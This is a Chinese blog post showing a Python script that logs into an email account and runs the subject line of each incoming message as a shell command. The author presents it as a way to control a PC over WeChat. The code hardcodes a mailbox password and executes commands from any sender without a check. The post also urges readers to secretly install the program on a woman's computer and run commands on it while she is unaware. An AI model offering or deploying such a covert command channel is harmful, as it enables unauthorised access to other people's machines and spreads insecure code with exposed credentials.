python编写微信远程控制电脑的程序


Posted in Python onJanuary 05, 2018

今天来分享一个“高大上”的技术——使用python编写一个可以用微信远程控制电脑的程序!

先来分析一下控制的具体流程:

python编写微信远程控制电脑的程序

我们使用微信给特定的邮箱发送一封邮件,其中包含了我们想要电脑执行的命令,然后电脑上的python程序获取到这封邮件,然后解析其中的命令,再交付给电脑执行。可以看出,这其中主要的技术难点就是获取邮件了!但是!这没有任何问题,大家看到我的上一篇博客《python 收发邮件》就可以了!

下面给出使用python收发邮件并执行邮件命令的代码。

# -*- coding:utf-8 -*- 
from email.mime.text import MIMEText 
import poplib 
import smtplib 
import os 
 
 
class MailManager(object): 
 
  def __init__(self): 
    self.popHost = 'pop.sina.com' 
    self.smtpHost = 'smtp.sina.com' 
    self.port = 25 
    self.userName = 'ivanzgj@sina.com' 
    self.passWord = 'zgj123' 
    self.bossMail = '475176416@qq.com' 
    self.login() 
    self.configMailBox() 
 
  # 登录邮箱 
  def login(self): 
    try: 
      self.mailLink = poplib.POP3_SSL(self.popHost) 
      self.mailLink.set_debuglevel(0) 
      self.mailLink.user(self.userName) 
      self.mailLink.pass_(self.passWord) 
      self.mailLink.list() 
      print u'login success!' 
    except Exception as e: 
      print u'login fail! ' + str(e) 
      quit() 
 
  # 获取邮件 
  def retrMail(self): 
    try: 
      mail_list = self.mailLink.list()[1] 
      if len(mail_list) == 0: 
        return None 
      mail_info = mail_list[0].split(' ') 
      number = mail_info[0] 
      mail = self.mailLink.retr(number)[1] 
      self.mailLink.dele(number) 
 
      subject = u'' 
      sender = u'' 
      for i in range(0, len(mail)): 
        if mail[i].startswith('Subject'): 
          subject = mail[i][9:] 
        if mail[i].startswith('X-Sender'): 
          sender = mail[i][10:] 
      content = {'subject': subject, 'sender': sender} 
      return content 
    except Exception as e: 
      print str(e) 
      return None 
 
  def configMailBox(self): 
    try: 
      self.mail_box = smtplib.SMTP(self.smtpHost, self.port) 
      self.mail_box.login(self.userName, self.passWord) 
      print u'config mailbox success!' 
    except Exception as e: 
      print u'config mailbox fail! ' + str(e) 
      quit() 
 
  # 发送邮件 
  def sendMsg(self, mail_body='Success!'): 
    try: 
      msg = MIMEText(mail_body, 'plain', 'utf-8') 
      msg['Subject'] = mail_body 
      msg['from'] = self.userName 
      self.mail_box.sendmail(self.userName, self.bossMail, msg.as_string()) 
      print u'send mail success!' 
    except Exception as e: 
      print u'send mail fail! ' + str(e) 
 
if __name__ == '__main__': 
  mailManager = MailManager() 
  mail = mailManager.retrMail() 
  if mail is not None: 
    cmd = mail['subject'] 
    os.system(cmd) 
    mailManager.sendMsg()

上述代码的逻辑是:邮件的主题为要执行的命令,然后python获取邮箱的邮件,解析其主题,然后交到命令行执行。执行成功后发送一封success的邮件给我。

下面测试一下。我使用qq邮箱给我指定的邮箱发送了下面这样一封邮件。

python编写微信远程控制电脑的程序

这封邮件的命令是要打开mail.py这个文件,然后我们在电脑上运行上述代码程序,就可以看到其打开了mail.py这个文件了!
现在,这个程序只会执行一次,然后就会退出,我们只要给它加个死循环就可以让它一直运行了~

if __name__ == '__main__': 
  while True: 
    mailManager = MailManager() 
    mail = mailManager.retrMail() 
    if mail is not None: 
      cmd = mail['subject'] 
      os.system(cmd) 
      mailManager.sendMsg() 
    time.sleep(5)

现在我们只要运行其这个程序,然后我们拿着手机,打开微信,一封邮件,便可随时远控电脑!想想,你们拿着这个程序,打包一下,然后悄悄地撞到你心仪的妹子电脑上,趁她不注意的时候,发一封邮件,然后让妹子的电脑干点什么事情(例如显示一段文字表白什么的),想想都很激动呢!!!

好的,下面直接给出一个源码链接吧。
python 微信远程控制电脑

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python递归实现汉诺塔算法示例
Mar 19 Python
解决Pandas to_json()中文乱码,转化为json数组的问题
May 10 Python
解决Mac下首次安装pycharm无project interpreter的问题
Oct 29 Python
python+rsync精确同步指定格式文件
Aug 29 Python
python 有效的括号的实现代码示例
Nov 11 Python
Python和Anaconda和Pycharm安装教程图文详解
Feb 04 Python
python3将变量写入SQL语句的实现方式
Mar 02 Python
windows10环境下用anaconda和VScode配置的图文教程
Mar 30 Python
Pandas替换及部分替换(replace)实现流程详解
Oct 12 Python
Python django框架 web端视频加密的实例详解
Nov 20 Python
Python保存并浏览用户的历史记录
Apr 29 Python
python数字图像处理之图像自动阈值分割示例
Jun 28 Python
使用python爬虫实现网络股票信息爬取的demo
Jan 05 #Python
简单实现python收发邮件功能
Jan 05 #Python
5款非常棒的Python工具
Jan 05 #Python
Python基于列表模拟堆栈和队列功能示例
Jan 05 #Python
Django 2.0版本的新特性抢先看!
Jan 05 #Python
微信跳一跳游戏python脚本
Apr 01 #Python
Python基于列表list实现的CRUD操作功能示例
Jan 05 #Python
You might like
PHP将回调函数作用到给定数组单元的方法
2014/08/19 PHP
ci检测是ajax还是页面post提交数据的方法
2014/11/10 PHP
getimagesize获取图片尺寸实例
2014/11/15 PHP
php文件操作相关类实例
2015/06/18 PHP
PHP实现获取中英文首字母
2015/06/19 PHP
PHP的消息通信机制测试实例
2016/11/10 PHP
setTimeout和setInterval的浏览器兼容性分析
2007/02/27 Javascript
javascript实现二分查找法实现代码
2007/11/12 Javascript
js客户端快捷键管理类的较完整实现和应用
2010/06/08 Javascript
JS简单实现元素复制示例附图
2013/11/19 Javascript
javascript中的throttle和debounce浅析
2014/06/06 Javascript
avascript中的自执行匿名函数应用示例
2014/09/15 Javascript
AngularJS的内置过滤器详解
2015/05/14 Javascript
jQuery插件实现可输入和自动匹配的下拉框
2016/10/24 Javascript
Jquery实现跨域异步上传文件总结
2017/02/03 Javascript
Bootstrap响应式表格详解
2017/05/23 Javascript
Layui数据表格之单元格编辑方式
2019/10/26 Javascript
利用js实现简易红绿灯
2020/10/15 Javascript
微信小程序选择图片控件
2021/01/19 Javascript
Python下实现的RSA加密/解密及签名/验证功能示例
2017/07/17 Python
Pytorch对Himmelblau函数的优化详解
2020/02/29 Python
python 函数嵌套及多函数共同运行知识点讲解
2020/03/03 Python
Pycharm激活码激活两种快速方式(附最新激活码和插件)
2020/03/12 Python
python 元组的使用方法
2020/06/09 Python
解决c++调用python中文乱码问题
2020/07/29 Python
Data URI scheme详解和使用实例及图片base64编码实现方法
2014/05/08 HTML / CSS
2014年党员学习“三严三实”思想汇报
2014/09/15 职场文书
班主任师德师风自我剖析材料
2014/10/02 职场文书
2015年“世界无车日”活动方案
2015/05/06 职场文书
爱国主义影片观后感
2015/06/18 职场文书
银行培训心得体会范文
2016/01/09 职场文书
九不准学习心得体会
2016/01/23 职场文书
七年级语文教学反思
2016/03/03 职场文书
python开发实时可视化仪表盘的示例
2021/05/07 Python
GO语言异常处理分析 err接口及defer延迟
2022/04/14 Golang
使用Python获取字典键对应值的方法
2022/04/26 Python